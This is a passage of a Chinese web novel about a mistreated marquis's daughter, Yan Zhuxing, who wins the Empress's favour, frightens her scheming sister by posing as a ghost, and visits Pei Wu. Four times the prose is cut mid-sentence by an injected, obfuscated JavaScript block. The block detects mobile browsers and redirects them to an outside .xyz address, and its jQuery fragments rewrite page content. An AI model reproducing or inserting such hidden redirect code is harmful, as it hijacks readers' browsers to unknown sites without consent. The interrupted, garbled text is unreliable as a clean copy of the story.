侍卫赶忙替他开宫门。 谢翊宁快步踏进了宫里,直奔未央宫。 “石头怎么来了?”皇后崔凝华看到小儿子,眸中泛起温柔的笑意。 听到这个称呼,谢翊宁鼻腔蓦然一酸。 他自小体弱,被国师断定活不过二十岁,母后为了他长寿平安,什么法子都愿意试一试。 这不,听闻民间百姓会给孩子取一个“贱名”,好养活。 于是给他取了小名叫“石头”。 希望他能如顽石一般坚韧,长命百岁,千年不朽。 他从前觉得这个名字上不得台面,兄长们都各有好听的字,只有他叫石头。 而今梦醒了,重活一遭,他才意识到这是母后对他最好的祝愿与期盼。 “母后,我有件事想求您帮帮忙。”谢翊宁坐到了她身边。 “哦?什么事,很难办吗?”崔皇后有些惊讶。 这孩子打小就被她和皇帝宠着长大,要风得风,要雨得雨,想要什么都是直接开口,还是头一回听到他用上了“求”这个字。 崔皇后心里泛起了嘀咕。 不会是什么违背祖宗的决定吧? “今日有一事已经在京城传开了……”谢翊宁将晏逐星的事情说了出来。 崔皇后听着,忍不住皱起了眉头。 “没看出来呀,这定远侯夫人竟然是这样的人。还有那定远侯,也太不是个东西了。你既然收养了人家,为何还要**人家?即便不是亲生的,养了十几年,就算是条狗,也该养出感情了,怎么能这般薄情寡义。” “就是。所以呀,母后,您要好好赏赐一下晏大小姐,她太可怜了。”谢翊宁附和地点了点头。 崔皇后瞥了他一眼:“不对呀,你怎么这么关心晏家那位大小姐?” 她目光灼灼地看着儿子,眼里跳跃着兴奋的意味:“难不成,你看上人家了?想让人家给你当王妃?” 第8章 这丫头,怎么那么命好! 谢翊宁脱口而出:“您想多了。” 他回忆了一下晏逐星的容貌,摇了摇头。 竹片似的身材,瘦瘦小小的,看起来像棵豆芽菜,仿佛风一吹就会被折断。 因为自己活不久,所以他也不喜欢这种看起来随时会没命的人。 但一想到晏逐星的脆弱,全是定远侯府的人造成的,他就一肚子的火气。 他决定在自己的报恩计划上加上一条—— 让晏逐星吃好喝好,把她养得珠圆玉润,再给她找个好人家嫁了! 让她一辈子衣食无忧,长命百岁,也对得起她那万箭穿心的救命之恩了。 否认完,又怕母后乱点鸳鸯谱,他加重语气强调:“母后,您只要送点赏赐给她,让她过得真的像个侯府大小姐就好。我不打算娶妻生子,您莫要胡来。” 崔皇后听到他不娶亲,伸手戳了戳他的脑门:“你这孩子,说的什么话。哪有人不娶妻生子的,母后还等着抱孙子呢。” “好吧好吧,我若能活过二十岁,就听您的娶个王妃,再给您生个大胖孙子。”谢翊宁无所谓地摊了摊手。 听到他这话,崔皇后眼眶瞬间就红了。 “我和你父皇做了那么多,一定能让你活下去的,你不许说这些丧气的话。” “好,我不说了。”谢翊宁急忙转移话题。 待到哄得皇后笑逐颜开,方才离开宫中,回自己的王府。 …… 定远侯府昨夜失火,定远侯正好趁势称病告假,未赴早朝,以此避开皇上的责难。 他看着枕边的夫人,沉声道:“今日你就命人给那丫头多裁些衣裳,吃食上也莫要怠慢了她,省得过两日裴明镜又找上门来。” 温如霜不忿地开口:“说到底,这只是家务事,裴明镜他管得着么。” “没闹到京兆府之前是家务事,闹过去,那他插手就名正言顺了。”定远侯说起这事就一肚子的火气。 “你平日里怎么打理后宅的,竟然让人将事闹到官府上去,真是丢尽了侯府的脸面。” 温如霜委屈极了。 “我那会晕过去了,要是我醒着,怎么可能让那个贱丫头走出侯府半步。” “一点小事就晕过去,你这个侯府夫人可还有半点主母威仪?”定远侯现在对晏逐星是打不得骂不得,只能把火全都撒在旁人头上。 “若是真这般身体柔弱,那不如将管家之权交给柳姨娘和林姨娘打理,免得累坏了身子。” 他冷哼一声起身,将温如霜撇在了原地。 温如霜被气得满脸通红。 她持家多年,就出了这么一回岔子,侯爷竟然就想要罢免她的管家权,简直是欺人太甚! “混账。”温如霜气得将枕头砸到了地上。 一旁的丫鬟们大气都不敢喘。 好半晌后,晏明月来了。 她委屈巴巴道:“娘亲,昨夜失火,我好多衣裳都被烧坏了。” “坏了就坏了,娘这就让人给你做新的。”温如霜看到女儿,脸色缓和了几分。 女儿丢失又找回来,吃了那么多苦,她总觉得亏欠她良多。 “多谢娘亲!”晏明月这才露出了几分笑意。 “那姐姐那边呢?是不是也要让人去给她裁衣裳?” “裁什么裁,让她等着。我就不信,那裴明镜今日就会来。”温如霜听到晏逐星就脸色发青。 晏明月听到这话,暗自窃喜。 她火上浇油道:“姐姐也真是的,您这个母亲都气晕了,竟然也不来瞧瞧。她光顾着跟裴大人告状,说咱们待她不好,她也不想想,她这般不孝,您要怎么心疼她呀。” 温如霜心里的火气又被她的话给勾起来了。 “没错。她不孝,我为何要疼爱她。她若不来找我认错,那衣裳就过两日再做。我要让她知道,这侯府后宅还是我当家做主。裴明镜能照看她一时,难不成还能照看她一世不成。” 两人慢悠悠地梳妆打扮,在屋子里喝茶,等着九章堂的绣娘上门量体裁衣。 不曾想,绣娘未至,宫里的旨意便到了。 “什么,皇后娘娘有旨?”温如霜和晏明月都吓了一跳,匆忙整理衣裳,急匆匆去接旨。 不曾想,那个嬷嬷瞧见他们,却没有马上颁布懿旨,而是东张西望,随后皱眉询问:“不知道侯府大小姐可在,皇后娘娘命老奴给姑娘送些小玩意。” 两人脸色顿时变了。 什么,皇后竟然是冲着晏逐星来的? 温如霜急忙命心腹嬷嬷李氏去将晏逐星请来,压低声音嘱咐:“将我房里那件织金云雁衔梅斗篷给她披上再来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497752|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏逐星得知皇后命人给她送东西,有些茫然。 上辈子,可没有这样的好事。 李氏将斗篷取来替她披上,晏逐星瞧着面前的几位健硕仆妇,没有反抗,乖顺地披上了斗篷去见那位宫中来的吴嬷嬷。 “见过嬷嬷。”晏逐星行了一礼。 躬身行礼时,她略微动了手脚,斗篷掉落在地,旋即露出了破旧不合身的衣裳。 温如霜牙齿都要咬碎了。 她赶忙弯腰捡起斗篷给晏逐星穿上,挤出笑脸强行解释:“你这丫头,想让娘亲给你做新衣裳,也不用穿成这样啊。娘早就请九章堂的绣娘来了,待会就到,保证给你做全京城最时兴的衣裳。” 晏逐星没有反驳,只是怯生生地应了一句:“多谢母亲。” 吴嬷嬷将两人的举动看在眼里,没说什么,只是冲晏逐星垂手行了个礼,笑着开口。 “大小姐,老奴今日来,是奉了皇后娘娘的旨意,邀您参加半个月后的冰嬉宴。” 吴嬷嬷取出一张洒金的请柬,双手捧着递上前:“昨日偶闻姑娘的名讳,娘娘便想起姑娘九岁那年在冰嬉宴上献上的破阵舞。您踏着冰刀旋身抛扇的模样,这都过去好几年了,娘娘还常念叨说满京城再寻不出第二人。” 她的话勾起了晏逐星远久的记忆。 九岁那年的冰嬉宴,是她记忆里最后一抹快乐的时光了。 后来,晏明月被找回家,她便再也没有出现在任何宴会上了。 “今年冰嬉宴十公主也想跳破阵舞,娘娘想着若姑娘得空,不妨去宫中给公主指点一二。” 听到吴嬷嬷这话,温如霜和晏明月的表情变得十分难看,她们死死地盯着晏逐星,眼里全是妒忌和不满。 这丫头,怎么那么命好!!! 竟然得了皇后娘娘的青睐。 晏逐星不疾不徐地回应道:“不过雕虫小技罢了,指点谈不上,承蒙娘娘厚爱,臣女定然尽力而为。” 吴嬷嬷满意地点点头,继续道:“自然,娘娘不会白让姑娘跑一趟,特赐了一件雪貂裘、一对暖手炉,两支野山参、十筐银丝炭,还有江南织造局送来二十匹云锦……” 吴嬷嬷介绍着忽然表情一变。 娘娘不是就赏赐了这几样东西么,后边多出来的那些是怎么一回事? 第9章 王爷呀,你这一回看走眼啦! “咳咳。” 后边一个小厮弄出咳嗽声,吸引了吴嬷嬷的注意。 她定睛一看,那是永安王府的人。 她嘴角抽了抽,心下顿时了然,后边那几个大箱子全永安王自己贴补的。 不知道里边有什么,吴嬷嬷便一句话带过了:“剩下的东西呀,姑娘您就自己看吧。总之都是娘娘精心准备的。” “臣女叩谢皇后娘娘恩典。”晏逐星规规矩矩行了一礼。 “既是如此,姑娘好生歇息,过几日皇后娘娘会派人来接姑娘入宫,去见十公主。”吴嬷嬷说完正要走,就看到季太医也来了。 季太医抢在她前边开了口。 “皇后娘娘想着晏大小姐身子柔弱,特意让老臣前来问诊。待到身子骨好了,再让她入宫指点十公主。” 吴嬷嬷:…… 来之前皇后娘娘没告诉她还派了太医啊。 但转念一想,季太医是永安王的御用太医,他多半也是永安王寻来的。 她忍不住多看了晏逐星几眼。 这眉眼生得倒是动人,只是这瘦瘦小小的,看不出来比京中其他贵女好看在哪呀,怎么就得了永安王另眼相待。 晏逐星也稀里糊涂的,皇后娘娘对她是不是好得也太过分了点? 她那年跳的破阵舞,有那么好吗。 疑惑归疑惑,但她没忘了及时表忠心谢恩:“多谢皇后娘娘厚爱,臣女铭感五内。” 而温如霜和晏明月已经震惊到麻木了。 晏逐星到底做了什么,让皇后娘娘这么赏识。 先是让心腹嬷嬷送了那么多赏赐来,又请了太医院的季太医来给她看病。 晏逐星没有给他们眼神,任凭他们脑补。 她坐在椅子上,乖乖伸手让季太医替她把脉。 她这几年吃不饱穿不暖,身子定然有所亏损。 她原打算从定远侯那边拿到钱,自己去找个大夫好好瞧瞧,没想到皇后娘娘竟然给她请了太医。 太医可比街上的大夫强多了。 想要报仇,就得先养好身体。 免得仇人前脚**,自己后脚就死,那报仇有什么意义。 季太医替她把完脉,将脉枕收回药箱,面露不悦地看了一旁的温如霜一眼。 “姑娘这脉象沉细如丝,气血两虚。脾脉濡弱,胃气衰败,分明是经年累月饥饱失序所致。” 温如霜听得脸一阵白一阵红。 她赶忙找补:“你这孩子,都说了不许挑食,你瞧瞧,这也不吃那也不吃,如今倒好,身子竟然受损至此。你是要剜为娘的心肝不成?” 她将锦帕按在眼下,流下两滴泪,看向季太医:“季大人,该如何给我儿调养?您只管开药方,只要能让星儿好起来,不管花多少银子都愿意。” 季太医淡淡道:“令嫒这毛病需用参苓白术散徐徐温补,佐以八珍汤固本培元,而后每日燕窝一盏以润肺经。好好养个一年半载,就会康复如初了。” 温如霜脸色僵住了。 当初她怀着长子,也只是到了快生的时候,婆母才让她隔日喝一盏燕窝。 如今这死丫头竟然每日都要服用一盏。 她也配? “母亲,大厨房每日要给我做药膳太麻烦了,横竖只需两个灶眼,不如在我院子里另起一个小膳房,也省得给我熬药,耽误了你们用膳。”晏逐星恰到时机地开口。 温如霜被架在火上烤,看着季太医和吴嬷嬷的表情,她只能勉强点头挤出笑容:“行,都依你。只要你肯好好吃饭就好。” 这时,九章堂的绣娘苏娘子终于来了。 温如霜舒了一口气,当着季太医和吴嬷嬷的面,让她先给晏逐星做衣裳。 晏逐星拒绝了:“母亲,不如先让苏娘子为妹妹裁衣。皇后娘娘赏赐之物还未清点造册,劳烦母亲命人将此物送去我的院子。” “好,都听你的。”温如霜憋屈不已,但又无可奈何。 季太医和吴嬷嬷离开后,大气都不敢喘的晏明月跺了跺脚,扯着温如霜的手撒娇。 “娘亲,皇后娘娘赏赐的东西这般贵重,姐姐的玉澜院人手不够,放着不安全吧。不如放到您的库房去?” 她的算盘打得极好。 东西入了娘亲的库房,日后她也能分一杯羹。 温如霜觉得这个主意不错。 她不想让那死丫头手里拿着那么多好东西。 然而,不等她开口,晏逐星就冷笑一声:“妹妹,过几日皇后娘娘还要接我入宫,你也不想我在她面前哭诉东西被抢走吧。” 晏明月脸瞬间涨得通红:“什么抢走,姐姐说话太难听了,我只是怕东西弄丢了。” “东西丢了,那就说明侯府的护卫都是废物,换一批吧。对了,你把之前伺候我的双鲤找回来吧。我还是喜欢她伺候我。”晏逐星继续提要求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497753|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 反正她现在可以扯着皇后娘娘的虎皮替自己撑腰,现在不要好处,之后可就不好要了。 “行。”温如霜的声音几乎是从牙缝里透出来的。 看不惯晏逐星,还不能惩戒她。 她执掌侯府多年,还是头一回这么憋屈。 晏逐星心满意足地盯着下人把皇后娘娘赏赐的东西抬回自己的院子,一个箱子都没落下。 晏明月快气哭了。 “娘亲,姐姐怎么这样啊……” 温如霜咬牙切齿道:“且让她嚣张一时,等到冰嬉宴后皇后娘娘将她忘了,我就好好整治她。我要让她知道,要留在侯府就必须听我这个主母的。” …… 没过多久。 双鲤就被送到了玉澜院。 她看到晏逐星,一瞬间就红了眼眶。 “大小姐,您受苦了。” 晏逐星看着面前的心腹丫鬟,坚硬如铁的心也变得有一瞬间柔软。 当初她犯傻,搬去破院子后,被晏明月三言两语挑拨得自小伺候自己的丫鬟也不要了。 因而双鲤就被遣散到后院干些粗活去了。 后来她挨饿受冻,都是双鲤私底下悄悄给她送馒头和旧衣裳,她才能坚持到现在。 不然她早就**。 上一世,她要离开京城去边关寻找定远侯,也是双鲤给她行了方便,悄悄放她离开,不然她连侯府大门都出不去。 如今她有了自己的院子,重新夺回大小姐的位置,自然要把她找回来。 “别哭了。眼泪是最没用的东西。”晏逐星伸手替她擦去眼泪。 “我将玉澜院交给你打理,你可愿意?” “奴婢愿意。”双鲤忙不迭答应,而后眼里又流露出一丝迟疑和不自信。 “只是,奴婢怕做不好。” “没关系,有我替你撑腰,谁若不服,我会将她打服。你只要把东西都看好,不要让人偷了骗了就好。”晏逐星掂了掂手里的木棍。 她打算从今日起,就把上辈子霍将军教她的那些招式,再练习一遍。 她绝不做待宰的羔羊。 乔装混进侯府偷听的停云听到这话差点一个踉跄栽倒。 王爷还说晏家大小姐可怜,让他来看她有没有受欺负。 晏大小姐这般凶悍,哪里像是会被欺负的样子。 她不欺负别人就不错了。 王爷呀,你这一回看走眼啦! 第10章 王爷的关注点,好生奇特 双鲤听到晏逐星的话,激动地拍胸脯发誓:“奴婢一定替小姐看好这些东西,谁若想拿走,就从我的尸体上踏过去!” “倒也不必拿命去拼,关键时刻,先保护好自己。”晏逐星摸了摸她的脑袋。 “谁若敢抢我的东西,我自会让她付出代价。” “嗯!”双鲤重重点头,看着晏逐星的眼睛里满是欣喜。 她五岁那年**葬父,大小姐替她安葬了父亲,将她带回府中。 她就发过誓,她的命都是大小姐的。 两人一块清点起皇后娘娘送来的东西。 除了吴嬷嬷先前说的那些东西,晏逐星发现皇后娘娘竟然贴心地连被子也准备了。 这得对她的境况了解得有多清楚啊。 晏逐星摸了摸松软的棉花被子,吸了吸鼻子。 真好,以后不会再受冻了。 除此之外,还有各种补身体的好东西,甚至还有一箱子的银票和一匣子铜钱。 略略数了一数,银票加起来一共有一万两。 晏逐星倒吸了一口凉气。 这哪里是赏赐,分明是生生往她怀里砸了座泼天富贵。 晏逐星将这些东西一一记了下来,随后就让来给她量体裁衣的苏娘子把御赐的布料都拿来做新衣裳。 “全,全做了?”苏娘子有些惊讶。 “嗯,先做一件合身的冬装,剩下的稍微放量做宽大些。把来年春夏的衣裳也一块做了。”晏逐星不打算便宜了侯府的人。 她绝不亏待自己。 做大点,来年养好身子长高长肉了,还能继续穿。 “是。”苏娘子将她的要求一一记下。 “我母亲不是让我挑料子么,哪个贵你就帮我做哪个,颜色不拘,如今京中贵女们常穿的色就好,你看着做个三十套吧。”晏逐星继续报要求。 她没放过让温如霜大出血的机会。 温如霜要装慈母,那就让她装个够。 苏娘子喜上眉梢。 这可真是个大生意呀。 “好,都听您的。”她笑呵呵地应下。 她是看出来了,这位侯府大小姐正和侯府夫人别苗头呢。而侯府夫人为了面子,是一定会答应的。 管家拿着订单告知温如霜此事,她气得几乎要吐血。 她一个季度最多也就做二十套衣裳,晏逐星一开口就三十套。 再加上皇后给的布料,她这下加起来至少做了四十套衣裳。 她穿得过来么! “小人得志!”她狠狠地啐了一口,恨不得去撕了晏逐星。 偏偏这时定远侯还接到了宫里传来的训诫,皇上说他治家无方,勒令他闭门思过整肃门庭。 他把一切都怪到了温如霜母女身上。 “蠢货,成事不足败事有余,带累得本侯也被皇上训斥。” 原本还想跟爹爹撒娇,让他给自己多做几套裙子的晏明月瞬间闭上了嘴。 定远侯发泄完怒气转身就走,温如霜被骂得直掉眼泪,也没空去安慰女儿。 晏明月将指甲掐进掌心才堪堪压住翻涌的恨意。 她失魂落魄地回了自己的院子。 院子昨夜才失了火,被烧了一间屋子,今日还在修整。 看着毁坏的屋子,她心底的悔意和怨气翻滚得更厉害了。 她回侯府之后一直顺风顺水,怎么昨日就栽在晏逐星身上了呢。 明明她才是正儿八经的侯府嫡女,皇后的赏赐,还有九章堂那些昂贵漂亮的衣裳,凭什么都给了晏逐星那个不知道打哪来的野种! 这念头一冒出便似毒藤疯长,绞得她夜半在睡梦中惊醒。 冷汗浸透中衣,高热来势汹汹,像是要把她的五脏六腑都烧成灰烬。 晏明月夜里烧得说起了胡话。 她这一病可把侯府众人给心疼坏了,连夜给她请了大夫。 就连白日里还在生她气的定远侯,都心软了。 晏逐星得到这个消息,眼睛顿时亮了起来。 上一世,晏明月不是说她夜夜入她梦吓得她不得安宁么。 这一世,她便做个好人,实现她的心愿吧。 …… 停云回了王府,将晏逐星的近况告诉了王爷。 那位大小姐那么彪悍,想必王爷应该不会让他再去潜伏去侯府保护她了吧。 谢翊宁皱起了眉头,眼底闪过一丝厌恶:“这定远侯府到底是什么**不吐骨头的地方,硬是将她一个侯门大小姐逼成了要靠木棍保护自己的刁蛮千金。” 随后他便下了新的命令。 “你找人混到侯府里守着她,免得她又受了那黑心爹娘和恶毒妹妹还有眼瞎兄长的欺负。本王送她的东西,不许旁人拿了。” 停云“嗯”了一声答应下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497754|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,准备要走,谢翊宁又叫住了他。 “算了,今夜你陪我再去一趟定远侯府。” 不亲自看一眼他的小救命恩人,他不放心。 …… 入夜。 晏逐星早早地准备好了道具。 她换上了丫鬟的衣裳,悄悄出门了。 她白日里去瑶华院确认过了,她小时候院墙角落里挖的狗洞还在,她正好可以从那里溜进去。 她拱着屁股从狗洞里钻过去的时候,丝毫不知道有两个人在身后盯着自己。 停云瞥了一眼自家王爷。 谁家高门贵女会爬狗洞,王爷这下总该失望了吧。 没想到谢翊宁喃喃自语:“这么窄的洞也能钻过去,身子未免也太瘦了,得想法子让她多吃点才行。” 停云:…… 王爷的关注点好生奇特,他竟无言以对。 两人跟着晏逐星进了瑶华院,想看她究竟要做什么。 只见晏逐星趴在晏明月寝屋的窗沿下,掏出提前准备好的沾着鸡血的帕子,在窗纱上画了几道长长的指痕,像是黄泉路上爬回来索命的厉鬼。 “小姐,我~好~冷~啊~” 她戴好厉鬼面具,捏着嗓子,轻声呼唤起睡梦中的晏明月。 见她没有反应,便抓起了一个雪团,对准床榻上隆起的轮廓狠狠掷去。 “啪!” 碎雪在晏明月颈后炸开冰花,渗入骨髓的寒意惊得她猛然坐起。 铜炉炭火早已熄灭,屋子里漂浮着若有若无的血腥气,她颤抖着去够床头的银铃,想要将丫鬟叫进来。 一道诡异的声音伴随着寒风钻进她的耳朵里。 “小~姐~我~的~头~呢~” “我~的~头~怎~么~不~见~了~” 晏明月浑身的血液瞬间凝固。 她想起下人回禀那日抬走茉儿尸体时,茉儿的头颅和身体分开的事情。 “茉儿,不是我害死你的,你不要来找我。是晏逐星,你,你找她去。”她脱口而出替自己辩解,声音抖得不像话。 窗户底下的晏逐星忽然抬头,月光照在她可怖的厉鬼面具上,长长的舌头悬吊在半空中。 “啊,小姐,找到你了!” 晏明月感觉自己的心脏被人狠狠捏住,停顿了片刻后,她的嗓子里才哆哆嗦嗦地冒出两个字:“鬼啊——!” 第11章 王爷一遇上晏大小姐的事,就跟中了邪似的 而后她两眼一翻,彻底晕了过去。 晏逐星嗤笑一声:“胆子真小,没意思。” 她嘟囔着离开,半踮着脚尖,留下了一串不似人的脚印。 绕了一圈后,重新回到玉澜院。 她当即把那些罪证都扔到了火炉里烧得一干二净。 围观了全程的谢翊宁露出了满意的表情。 小恩人真聪明,不愧是上过战场的女子,思虑就是周全。 他想了想,让停云照葫芦画瓢,去一趟温如霜的院落,扮鬼吓唬她。 “你会轻功,扮鬼更像。” 停云:…… 他苦练多年的轻功,就是用来扮鬼的么? 王爷怎么一遇上晏大小姐的事情,就跟中了邪似的。 停云心里苦,但停云不敢说。 只能乖乖听话,穿着一身白衣在温如霜的院子里飘来飘去。 还捏着嗓子模仿晏逐星说一些索命的话,当场把温如霜吓得三魂去了六魄。 …… 一大早。 双鲤就和晏逐星汇报起了自己打探到的消息。 “大小姐,昨夜大夫人和二小姐的院落闹鬼了。听说是茉儿回来找他们索命。” “什么?”晏逐星懵了。 她不是只去恐吓了一下晏明月么,温如霜那边是怎么回事。 难不成茉儿的鬼魂真的显灵了? 那茉儿也该来找她才对啊,怎么去找温如霜了。 “难不成是怕了我了?” 晏逐星托着下巴思索了起来。 很快,她得出了结论。 鬼和人一样,也是欺软怕硬的。 她当初软弱,所以让侯府众人骑在她头上,如今她支棱起来了,他们就让步了。 就连鬼都不敢来招惹她了。 晏逐星很满意自己的变化。 她用过了早膳,决定出门一趟,裴二小姐送她的披风已经清洗干净,该还给人家了。 她让双鲤留下照看院子,带着另一个丫鬟半棠出门。 她去找侯府要车,但没有侯爷夫人的同意,车夫不敢载她出门。 但今时不同往日,大小姐可是有皇后娘娘撑腰的人。 车夫谁也不敢得罪,捂着肚子道:“大小姐,可真是不巧了。小的腹痛难耐,今日恐怕不能送您出门了。” 说罢他便捂着肚子跑走了。 晏逐星冷笑一声,以为这样就能难得倒她么。 上辈子她连战场都上过了,驾车更难不倒她。 “上车。”她让丫鬟坐上车,自己驾车出侯府。 车夫傻眼了。 赶忙将此事传到主院去。 晏明修得知此事,怒气冲冲地拦住了马车:“娘亲和妹妹病了,你还有心思出门?” 晏逐星不疾不徐道:“我要去一趟卫国公府。裴大人说了,如果我没登门归还披风,他会带着裴二小姐登门拜访,你也不想他再来侯府吧?” 晏明修面色一僵,此事还真不好阻拦。 裴明镜要是再找上门来,那侯府又会重新成为京中众人热议的话题。 他嘟囔道:“那你也该去探望一下娘亲和妹妹呀,白养你那么多年了,忘恩负义的东西。” 晏逐星眸色冷冷扫向他:“你回去好好问问温如霜,到底是我忘恩负义,还是她心怀鬼胎。” “你怎敢直呼娘亲名讳?”晏明修瞪大了眼睛不可思议地看着他。 “好狗不挡道。我数到三,你若不让开,那我就直接从你身上踏过去了。”晏逐星懒得和这个**纠缠。 想到上辈子这个晏明修要打碎她的魂魄,晏逐星有些跃跃欲试。 他打碎她的魂魄,她让马儿踩断他的腿,收点利息,不过分吧? “你骂谁狗呢?”听到她口出妄言,晏明修怒了,“你敢伤我,父亲和母亲饶不了你。” “一、二、……” 没等晏逐星数到三,晏明修迅速闪开了。 他看得出来,晏逐星眼里没有半点犹豫和害怕,她是真的敢驾着马车撞翻他的。 但他闪得太过慌乱,崴了脚,重重往后栽去,落得个四脚朝天的狼狈模样。 马车离开了定远侯府,车上的丫鬟半棠惊恐万分。 大小姐果真和从前不同了,竟然连二少爷也不怕。 她可得小心伺候着,万万不能惹怒大小姐。 晏逐星没有马上去卫国公府。 裴二小姐虽然借了她一件旧披风,但她不能只还一件旧披风。 皇后娘娘御赐的宝物不可送人,她只能出门买一件新的披风当做谢礼了。 她先去了一趟牙行,让牙人帮忙置办了一辆马车和车夫。 她不打算一直用侯府的马车和人,定远侯的人不会容忍她太久。 谁知道之后他们会不会在马车上动手脚。 想到这,晏逐星摸了摸带出来的银元宝,对皇后娘娘的感激之意更上一层楼。 随后她去九章堂买了一件月白底松霜绿的披风,这才登门去了卫国公府。 “定远侯府大小姐找我?”裴芜微微蹙眉。 她和那位好像没什么交集吧,她来做什么。 “前几日,世子爷从您这要了一件披风给那位小姐,想必她是来道谢的。”丫鬟温声提醒。 裴芜恍然大悟,命人将晏逐星带了进来。 她有些好奇,这个闹上公堂的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497755|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子究竟是什么模样。 晏逐星见到她,行了一礼:“多谢裴二小姐雪中送炭。” “不客气,小事一桩罢了。”裴芜好奇地看着面前的人。 如今这位可是京城里的风云人物。 先是被家里人告上公堂,而后又得了皇后娘娘的赏赐。 她忍不住询问:“皇后娘娘为何给你赐东西啊?” 晏逐星将吴嬷嬷说的理由重复了一遍。 虽然她觉得这个理由有些勉强,但她也想不出好端端的皇后娘娘为何会这样做。 “这样么?”裴芜若有所思地点了点头。 她盯着晏逐星送来的回礼,询问道:“不是说你母亲对你不好么,怎么你还有银子给我买新的披风?九章堂的衣裳,可不便宜。” “滴水之恩当涌泉相报。若不是……唉……”晏逐星一一回答了她的问题。 她回答得很有技巧,每句话后边都留了钩子,惹得裴芜忍不住继续问下去。 问着问着,晏逐星就把温如霜母女做的恶事倒了个干干净净。 听到最后,裴芜已经跟她同仇敌忾了起来。 “没想到啊,定远侯夫人竟然这样歹毒。你妹妹因病寄养在外,不能像你一样时时陪在她身边,她偏袒你妹妹虽然情有可原,但也没不必这般苛责你吧,又不是你的错。” 晏逐星擦了擦眼泪,哽咽道:“我总想着,是我亏欠了妹妹,让她在外边受苦,让一让她也无妨。三岁孩童都懂得家丑不可外扬的道理,我又怎会不懂。只是我怕再让下去,把命都让没了,这才在公堂上说了那些话。” “委屈你了。”裴芜听着愈发同情她了。 “日后要是遇上什么事,你只管差人来找我,我帮不了你,还可以找堂兄。他是京兆尹,厉害着呢!” 待到晏逐星要离开时,裴芜又给她拾掇了一匣子的珠花首饰。 “使不得!”晏逐星赶忙推拒,却被裴芜温热的掌心覆住手背。 “我收了你的礼物,你也该收下我的礼物才是。除非,你不把我当朋友。” 她娇俏的脸上满是认真。 晏逐星沉默了片刻后,轻轻抱了抱她,拿着匣子转身离开。 她有些自行惭秽。 这一趟来,是算计,是利用,她不配和裴芜这样心思澄澈单纯善良的姑娘做朋友。 如果,上辈子她能认识裴芜就好了。 晏逐星驾着马车离开,裴芜站在原地冲她挥手,裴明镜正好下值回国公府。 “大堂兄。”裴芜赶忙冲他行礼。 “先前离开的是定远侯府大小姐?”裴明镜扫了一眼离去的马车。 第12章 难不成是药效过了,她全想起来了? “正是。”裴芜点了点头,随后滔滔不绝地说起了今日之事。 “大堂兄,你知不知道逐星有多可怜。侯府连个车夫都不给她配,她那个妹妹更是可恶……” 裴明镜听完,瞥了她一眼:“你这没心眼儿的趁早离她远些。你俩加起来八百个心眼子,她八百零一个,你,不足一个。” 裴芜怔在原地。 待到裴明镜离开后,她气得直跺脚,看向自己的心腹丫鬟璎珞:“大堂兄刚刚是不是在说我傻?” “呵呵呵,大少爷和小姐说话,奴婢不敢偷听。”璎珞望天,不敢正面回答。 “哼。”裴芜拂袖离去。 她才不傻呢。 她看得出来,晏逐星是好姑娘。 …… 晏逐星回了侯府。 温如霜得知她去卫国公府还了披风,便差人将她叫了过来。 “逆女,你可真是愈发没有规矩了。今日出门,竟然不和我这个当家主母通传。还和你兄长直呼我的名讳,跪下!” 晏逐星站在原地,盯着她:“温如霜,你别忘了,过几日我还得进宫指点十公主跳破阵舞呢。” 温如霜没想到她当着她的面就敢直呼她的名字,气得头顶都要冒烟了。 可偏偏她搬出皇后来压她,她还没法反驳。 她悻悻地看着晏逐星:“我且看你能狂妄多久,等到冰嬉宴后,有你好看!” “看来晏明修并没有把我的话完全转达给你。”晏逐星神色冷淡。 她弯腰凑到了温如霜面前,低声道:“你说,若我亲生爹娘找到我,知道你们对我做了这些事情,你以为他们会放过你们吗。” 温如霜喉头猛地咽下口水,退后几步,冷汗顺着贴额角往下淌。 她差点脱口而出“你都想起来了?” 幸亏理智回笼,她咬着舌尖硬生生将这句话咽了回去。 